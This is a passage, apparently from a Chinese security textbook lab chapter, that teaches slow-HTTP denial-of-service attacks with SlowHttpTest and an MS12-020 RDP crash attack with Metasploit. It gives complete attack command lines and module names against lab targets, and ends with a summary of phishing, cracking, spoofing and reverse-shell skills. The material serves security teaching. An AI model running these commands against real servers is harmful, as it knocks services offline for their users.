Linux平台下进行,可以输入命令aptget install slowhttptest安装SlowHttpTest,输入命令slowhttptest h可查看相关参数使用说明,常见的命令参数使用说明如下。 H: 指定SlowLoris模式; B: 指定Slow HTTP POST模式; R: 指定Range Header模式; X: 指定Slow Read模式; c: 指定测试时建立的连接数; i: 在Slowloris和Slow HTTP POST模式下,指定数据发送间隔; r: 指定连接速率,即每秒连接个数; t: 指定HTTP请求的方式; u: 指定目标URL; x: 在Slowloris和Slow HTTP POST模式中,指定发送的最大数据长度; p: 指定等待时间来确认DoS攻击是否成功; s: 在Slow HTTP POST模式下,指定ContentLength Header值; n: 在Slow Read模式下,指定读取数据的时间间隔; w: 在Slow Read模式下,指定Window Size范围的开始; y: 在Slow Read模式下,指定Window Size范围的结尾; z: 指定每次从接收缓冲区中读取数据的长度。 具体过程如下。 ① 启动Slow Header测试模式。Slow Header也称为Slowloris,它的基本原理是制造不完整的HTTP请求头部。一个完整的HTTP请求头部应该以0d0a0d0a结束,但是攻击工具只发送0d0a,然后以固定的时间间隔反复发送随机的keyvalue键值对,迫使服务器持续等待直至超时,最终通过不持续的并发连接耗尽系统的最大连接数,使得服务端停止服务。 攻击命令如下。 slowhttptest -c 1000 -H -g -o header_stats -i 10 -r 200 -t GET -uhttp://www.test.com/ -x 24 -p 3 测试目标是www.test.com,使用1000个连接,测试数据输出到文件header_stats,数据发送间隔是10s,连接速率是每秒200个,HTTP请求方式为GET,最大数据长度为24字节,等待时间为3s。测试状态如图5108所示,显示测试过程的正在连接数、已连接数、错误数、已关闭连接数和服务可用性等状态信息,当service available值为NO时,说明DoS攻击成功。 图5108Slow Header攻击示例 ② 启动Slow Body测试模式。Slow Body也称为Slow HTTP POST,它通过POST请求的内容进行攻击。在这种攻击中,HTTP请求的头部已经完整发送,只是将请求头部中的内容长度(contentlength)字段设置为一个很大的值,同时不在一个TCP报文中发送完整POST的内容,而是每隔固定时间发送随机的keyvalue键值对,从而促使服务器等待直到超时。如图5109所示,开启Slow Body测试,设置ContentLength header的值为8192,命令如下。 slowhttptest -c 1000 -B -i 110 -r 200 -s 8192 -t FAKEVERB -u http://www.test.com/ -x 10 -p 3 图5109Slow Body攻击示例 ③ 启动Slow Read测试模式。Slow Read通过调整TCP协议头部中的window字段控制服务器的发送速率,尽可能长地保持与服务器单次连接的交互时间直至超时。通常请求尽量大的资源,并将自身的window字段设置为较小值,当自身接收缓冲区被来自服务器的数据填满后,会发出“TCP 零接收窗口”报警,促使服务端等待,延长交互时间。如图5110所示,开启Slow Read测试,设置Window Size大小范围为10~20,设置读取速率为每5s从接收缓冲区读取32字节,命令如下。 slowhttptest -c 1000 -X -r 200 -w 10 -y 20 -n 5 -z 32 -u http://www.test.com/ -p 3 上述应用SlowHttpTest工具对目标服务器进行HTTP慢攻击的实验使Web服务器响应用户请求明显变慢。当Web服务器被DoS攻击后,若再次对服务器发起正常请求,会发现服务器的响应显著变慢。 图5110Slow Read攻击示例 【实验探究】 尝试使用Wireshark抓取报文,分析Slow Header、Slow Body和Slow Read测试模式的HTTP请求报文。 4. 应用MS12020漏洞对服务器进行逻辑攻击 MS12020漏洞是微软公司在2012年发布的一个针对Windows远程桌面协议(Remote Deskstop Protocol,RDP)的漏洞,主要影响Windows XP和Windows Server 2003等系统。攻击者使用该漏洞可对目标造成DoS攻击(蓝屏宕机),严重情况下可导致任意远程代码执行。实验首先使用漏洞扫描模块对目标进行漏洞确认,接着使用漏洞破解模块对目标进行攻击,导致目标蓝屏宕机,具体步骤如下。 ① 使用msfconsole工具搜索MS12020漏洞有关模块,如图5111所示。首先使用auxiliary/scanner/rdp/ms12_020_check扫描模块对目标192.168.57.130进行漏洞扫描操作,发现扫描结果输出“The target is vulnerable.”,说明该目标的3389端口开放并存在有关漏洞,可以进行攻击。 图5111目标漏洞扫描结果 ② 使用模块auxiliary/dos/windows/rdp/ms12_020_maxchannelids,如图5112所示,设置攻击目标为192.168.57.130,攻击端口为3389,然后输入exploit开始攻击。 图5112MS12020漏洞利用过程 ③ 在输出结果窗口看到“seems down”提示信息,表明目标已被攻击,导致蓝屏宕机,如图5113所示。 图5113目标蓝屏效果页面 【实验探究】 尝试使用MS12020漏洞进行攻击,并探究造成目标蓝屏的原因。 【小结】 本章针对常见网络入侵方法进行实验演示,包括口令破解、中间人攻击、恶意代码攻击、漏洞破解和拒绝服务攻击,希望读者掌握以下网络入侵技能。 (1) 应用SET制作钓鱼网站并窃取用户口令,应用Cain&Abel窃取和破解用户Windows口令,应用John the Ripper和Hashcat破解Linux和Windows账户口令,应用RainbowCrack进行彩虹表口令破解。 (2) 应用Cain&Abel实现ARP欺骗攻击和DNS欺骗攻击,应用dnschef和Ettercap实现DNS欺骗攻击,应用Burpsuite和mitmproxy实现Web欺骗攻击。 (3) 应用upx对恶意代码加壳和脱壳,应用PEiD对恶意代码进行查壳,应用msfvenom生成正向连接和反向连接的多态恶意代码,应用上兴远程控制对目标主机实施远程控制,应用Metaslpoit平台的exploit/multi/handler模块接收目标主机的反向连接。 (4) 在Metasploit平台应用Windows SMB服务漏洞攻击模块和Microsoft Office Word漏洞攻击模块进行远程漏洞攻击。 (5) 应用LOIC和Hyenae进行DoS攻击,应用SlowHttpTest进行慢速HTTP DoS攻击,应用MS12020 RDP漏洞对服务器进行逻辑攻击。